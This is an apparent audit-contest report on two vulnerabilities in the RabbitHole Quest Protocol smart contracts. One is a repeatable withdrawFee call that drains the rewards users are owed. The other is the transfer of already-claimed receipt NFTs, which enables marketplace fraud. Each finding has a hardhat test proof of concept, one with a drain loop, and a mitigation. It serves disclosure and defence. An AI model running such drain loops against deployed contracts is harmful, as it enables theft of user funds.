RabbitHole Quest Protocol contest - 0xmrhoodie's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102

Vulnerability details

Impact

Erc20Quest withdrawFee function can be executed more than once. The protocolFee amount transfered when executing withdrawFee function is calculated properly (having into account all receiptRedeemers), but as it can be executed multiple times anyone can move an excesive amount of rewardToken to protocolFeeRecipient. Users are supposed to be able to claim rewards after endTime, but anyone can make a loop to execute withdrawFee function multiple times to send all (or almost all) funds (in slots of protocolFee amounts) to protocolFeeRecipient resulting in users not being able to claim rewards.

Proof of Concept

diff --git a/test/Erc20Quest.spec.ts b/test/Erc20Quest.spec.ts.new
index d0626ee..80b207e 100644
--- a/test/Erc20Quest.spec.ts
+++ b/test/Erc20Quest.spec.ts.new
@@ -21,7 +21,7 @@ describe('Erc20Quest', async () => {
   const mockAddress = '0x0000000000000000000000000000000000000000'
   const mnemonic = 'announce room limb pattern dry unit scale effort smooth jazz weasel alcohol'
   const questId = 'asdf'
-  const totalParticipants = 300
+  const totalParticipants = 1 //reduce participants to reduce while-loop iterations in vulnerability test
   const rewardAmount = 1000
   const questFee = 2000 // 20%
   const totalRewardsPlusFee = totalParticipants * rewardAmount + (totalParticipants * rewardAmount * questFee) / 10_000
@@ -374,5 +374,25 @@ describe('Erc20Quest', async () => {
       await ethers.provider.send('evm_increaseTime', [-100001])
       await ethers.provider.send('evm_increaseTime', [-86400])
     })
+    it('if someone dont claim before quest endTime could lose rewards', async () => {
+      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
+
+      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
+      await deployedQuestContract.start()
+      await ethers.provider.send('evm_increaseTime', [86400])
+      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)
+
+      await ethers.provider.send('evm_increaseTime', [100001])
+      let questContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
+      const protocolFee = await deployedQuestContract.protocolFee()
+      while (questContractBalance.gte(protocolFee)) {
+        await deployedQuestContract.withdrawFee()
+        questContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
+      }
+
+      console.log("Quest contract balance (after being drained):", questContractBalance.toString())
+
+      await deployedQuestContract.connect(firstAddress).claim()
+    })
   })
 })

Tools Used

VSCode and hardhat

Recommended Mitigation Steps

Using a boolean so withdrawFee function can be executed just once is enough.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L148

Vulnerability details

Impact

Already claimed NFTs can be transfered so owners could cheat on marketplaces (like OpenSea) by accepting a bid offer after having claimed rewards. Those NFTs doesnt need to be transfered as its function is accomplished so its transferability could be limited. In beforeTransfer hook they can check if NFT is already claimed and revert in that case.

Proof of Concept

diff --git a/test/Erc20Quest.spec.ts b/test/Erc20Quest.spec.ts.new2
index d0626ee..794ad33 100644
--- a/test/Erc20Quest.spec.ts
+++ b/test/Erc20Quest.spec.ts.new2
@@ -302,6 +302,20 @@ describe('Erc20Quest', async () => {
       await expect(deployedQuestContract.claim()).to.be.revertedWithCustomError(questContract, 'AlreadyClaimed')
       await ethers.provider.send('evm_increaseTime', [-86400])
     })
+
+    it('allows an owner to accept a marketplace bid order after claim', async () => {
+      await deployedRabbitholeReceiptContract.mint(owner.address, questId)
+      await deployedQuestContract.start()
+
+      await ethers.provider.send('evm_increaseTime', [86400])
+
+      await deployedQuestContract.claim()
+      //simulate a marketplace deal with a transfer (for example an OpenSea atomicMatch, owner accepts a bid)
+      await deployedRabbitholeReceiptContract.transferFrom(owner.address, firstAddress.address, "1")
+
+      await deployedQuestContract.connect(firstAddress).claim()
+      await ethers.provider.send('evm_increaseTime', [-86400])
+    })
   })
 
   describe('withdrawRemainingTokens()', async () => {

Tools Used

VSCode and hardhat.

Recommended Mitigation Steps

diff --git a/contracts/RabbitHoleReceipt.sol b/contracts/RabbitHoleReceipt.sol.new
index 085b617..ba354e5 100644
--- a/contracts/RabbitHoleReceipt.sol
+++ b/contracts/RabbitHoleReceipt.sol.new
@@ -151,6 +151,11 @@ contract RabbitHoleReceipt is
         uint256 tokenId_,
         uint256 batchSize_
     ) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) {
+        string memory questId = questIdForTokenId[tokenId_];
+        (address questAddress, , ) = QuestFactoryContract.questInfo(questId);
+        IQuest questContract = IQuest(questAddress);
+        bool claimed = questContract.isClaimed(tokenId_);
+        require(!claimed, "RabbitHoleReceipt: token already claimed");
         super._beforeTokenTransfer(from_, to_, tokenId_, batchSize_);
     }